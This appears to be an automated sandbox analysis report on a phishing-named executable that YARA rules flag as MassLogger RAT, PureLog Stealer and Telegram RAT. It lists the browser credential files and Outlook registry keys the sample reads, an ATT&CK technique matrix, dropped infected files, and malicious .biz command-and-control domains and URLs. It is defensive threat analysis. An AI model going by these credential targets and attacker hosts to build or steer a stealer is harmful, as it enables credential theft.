Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\alg.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\AppVClient.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\Queue\TST9A6E.tmp VolumeInformation
Source: C:\Windows\System32\FXSSVC.exe	Queries volume information: C:\ProgramData\Microsoft\Windows NT\MSFax\TST9A7F.tmp VolumeInformation
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\msdtc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Queries volume information: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\System32\Locator.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\SensorDataService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\snmptrap.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Spectrum.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\TieringEngineService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\AgentService.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\vds.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\wbengine.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\System32\TieringEngineService.exe

Key value queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation Bias

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

9_2_00F68550

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1426195581.0000000004A29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1457423473.00000000081E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 00000009.00000002.2696625029.000000000794C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2671075234.000000000791C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8746478.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8775190.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b6a9e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590f08.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.8745570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.9ad0000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.73b79a6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.vbc.exe.7590000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.2656794908.0000000007376000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1426195581.0000000004A29000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1457423473.00000000081E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2688454630.0000000008741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2702940038.0000000009AD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2669298938.0000000007590000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 3628, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	2 LSASS Driver	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	2 LSASS Driver	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Service Execution	1 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	311 Process Injection	23 Software Packing	LSA Secrets	121 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	1 Timestomp	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	322 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	31 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
RFQ_PO N89397-GM7287-Order.bat.exe	29%	ReversingLabs
RFQ_PO N89397-GM7287-Order.bat.exe	100%	Avira	HEUR/AGEN.1305452
RFQ_PO N89397-GM7287-Order.bat.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Avira	W32/Infector.Gen
C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	100%	Joe Sandbox ML

Name	IP	Active	Malicious
przvgke.biz	172.234.222.138	true	true
lpuegx.biz	82.112.184.197	true	true
ssbzmoy.biz	18.141.10.107	true	false
vjaxhpbji.biz	82.112.184.197	true	true
xlfhhhm.biz	47.129.31.212	true	false
reallyfreegeoip.org	104.21.67.152	true	true
vcddkls.biz	18.141.10.107	true	false
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false
checkip.dyndns.com	132.226.247.73	true	false
zlenh.biz	unknown	unknown	true
checkip.dyndns.org	unknown	unknown	true
knjghuig.biz	unknown	unknown	true
pywolwnvd.biz	unknown	unknown	true
ifsaia.biz	unknown	unknown	true
uhxqin.biz	unknown	unknown	true
time.windows.com	unknown	unknown	true
cvgrf.biz	unknown	unknown	true
saytjshyf.biz	unknown	unknown	true
npukfztj.biz	unknown	unknown	true
anpmnmxo.biz	unknown	unknown	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://ssbzmoy.biz/j	false
http://lpuegx.biz/oxlmrobhj	true
http://przvgke.biz/lkgggwxh	true
http://vjaxhpbji.biz/fmyrcucxukod	true
http://checkip.dyndns.org/	false
http://przvgke.biz/hndiufmakse	true
http://lpuegx.biz/kpnskvgb	true
https://reallyfreegeoip.org/xml/8.46.123.228	false
http://vjaxhpbji.biz/prgqqrrnmmetm	true
http://przvgke.biz/hcvpcb	true
http://lpuegx.biz/lsfncqfq	true
http://przvgke.biz/lxda	true
http://vjaxhpbji.biz/oitulo	true
http://lpuegx.biz/algtvyj	true
http://vjaxhpbji.biz/rdl	true
http://xlfhhhm.biz/agmjd	false

URLs from Memory and Binaries

Name	Source	Malicious
http://xlfhhhm.biz/	vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp	false
https://api.telegram.org/bot	vbc.exe, 0000002A.00000002.2671075234.00000000077C2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 0000002A.00000002.2671075234.0000000007741000.00000004.00000800.00020000.00000000.sdmp	false
